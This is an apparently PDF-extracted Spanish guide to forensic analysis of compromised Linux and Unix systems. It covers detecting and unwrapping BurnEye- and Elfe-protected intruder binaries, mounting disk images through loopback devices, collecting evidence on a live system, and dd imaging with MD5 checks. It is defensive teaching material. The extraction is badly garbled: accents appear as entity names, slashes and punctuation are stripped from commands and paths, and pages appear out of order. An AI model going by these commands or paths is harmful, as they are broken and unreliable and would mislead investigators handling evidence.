Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 8: Análisis Forense de Sistemas GNU/Linux, Unix

eliminar algunos ficheros en la maacutequina cuando el interfaz de red se deshabilitase ( es decir cuando el cable deconexioacuten haya sido desconectado) o cuando el procedimiento de un shutdown normal haya sido activado

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Siacute siacutelo has leiacutedo bien) Hay que estar informados que puede ser que alguna informacioacuten en la memoria o informacioacuten delcache no guardada en el disco puede ser eliminada como estado de red procesos ejecutaacutendose en la memoria accesosa memoria kernel contenido de registros swap etc

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente ejecutar varios comandos antes de apagar deforma bruta el sistema Se debe hacerlo en una sesioacuten script (ver man del comando script)

Importante Si el administrador no estaacute seguro de lo que estaacute haciendo se debe simplemente desenchufar el sistemay ponerse en contacto con un investigador forense especializado ya que las pruebas pueden ser dantildeadas con muchafacilidad

En caso de que el administrador esteacute seguro de si mismo puede utilizar algunas de las herramientas que vienen acontinuacioacuten siempre con cuidado

bull last w who - Obtener el listado de usuarios actuales en el sistema logins anteriores etc

bull ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos los home directories directorio devdirectorio root etc

bull ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (eg ps auxwww y ps elfwww --antildeadir maacutes flags w si el listado se acorta)

bull lsof - Obtener un listado completo de descriptores de ficheros que puede mostrar algunos backdoors snifferseggdrop IRC bots redireccionadores de puertos para VNC etc(Ojo con cwd cual es el directorio local en el cualel programa ha sido ejecutado)

bull find - Identificar todos ficheros corrientes directorios modificados desde la fecha de uacuteltimo acceso no autorizadoo que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque

Importante La utilidad find modifica el i-node last accessed con el timestamp actual entonces no debe utilizaresta utilidad para barrer el sistema de ficheros si todaviacutea quiere saber cuales son los ficheros accedidos por elatacante si el sistema de ficheros estaacute montado en modo lectura y escritura

bull ltrace strace truss (SunOS 5) - Ver uacuteltimos accesos a ficheros de configuracioacuten de rootkit ejemplo Examinarel fichero binls trucado

8

Ejemplo

[sonnethoractivalinkcom] truss -t open lsopen(devzero O_RDONLY) = 3open(usrliblibcso1 O_RDONLY) = 4open(usrliblibdlso1 O_RDONLY) = 4open(usrplatformSUNWSun_4_75liblibc_psrso1 O_RDONLY) Err2 ENOENT

---gt open(devptyr O_RDONLY) Err2 ENOENTopen( O_RDONLY|O_NDELAY) = 3[list of files]

Ver paacuteginas man de cada una de las utilidades para conocer sus funciones

4 Problemas con Recoleccioacuten de InformacioacutenUn sistema informaacutetico no soacutelo puede ser instruido para auto-destruirse una vez se produzcan las condiciones deriesgo consideradas por el intruso sino tambieacuten realizar tareas programadas de eliminacioacuten sustitucioacuten de ficheros yejecuciones de aplicaciones determinadas

Es muy frecuente encontrar los comandos de sistema moacutedulos de kernel cargables (LKM) libreriacuteas dinaacutemicas y etcmodificados o reemplazados por la voluntad del intruso Bajo estas circunstancias eso puede obligar a que el sistemaoperativo mintiese Examinando en este caso el estado del servidor todo aparenta estar en orden pero en realidadel sistema estaacute totalmente manipulado con cuatro cinco diez diferentes back-doors para permitir al hacker el faacutecilacceso al servidor en un futuro teniendo instalado un root kit [10]

Si no hay seguridad de que las utilidades comunes esteacuten mostrando la verdadera situacioacuten se debe utilizar aplicacionesalternativas Los moacutedulos de kernel cargables (LKM) o libreriacuteas dinaacutemicas pueden estar alteradas para proporcionarinformacioacuten falsa En estos casos se debe utilizar binarios compilados de forma estaacutetica desde un toolkit como FireBiatchux o descargados de la web de incident-responceorg

Se debe cuestionar permanentemente la informacioacuten que el servidor estaacute proporcionando Seriacutea aconsejable y muchomaacutes faacutecil y seguro si simplemente el disco duro fuese extraiacutedo de la maacutequina afectada y fuese montado en modo soacutelolectura en una estacioacuten de anaacutelisis similar al servidor atacado

Se debe tambieacuten considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ningunaaplicacioacuten desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio dev Esmuy aconsejable estudiar bien la paacutegina man de la utilidad mount

Ejemplo

9

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

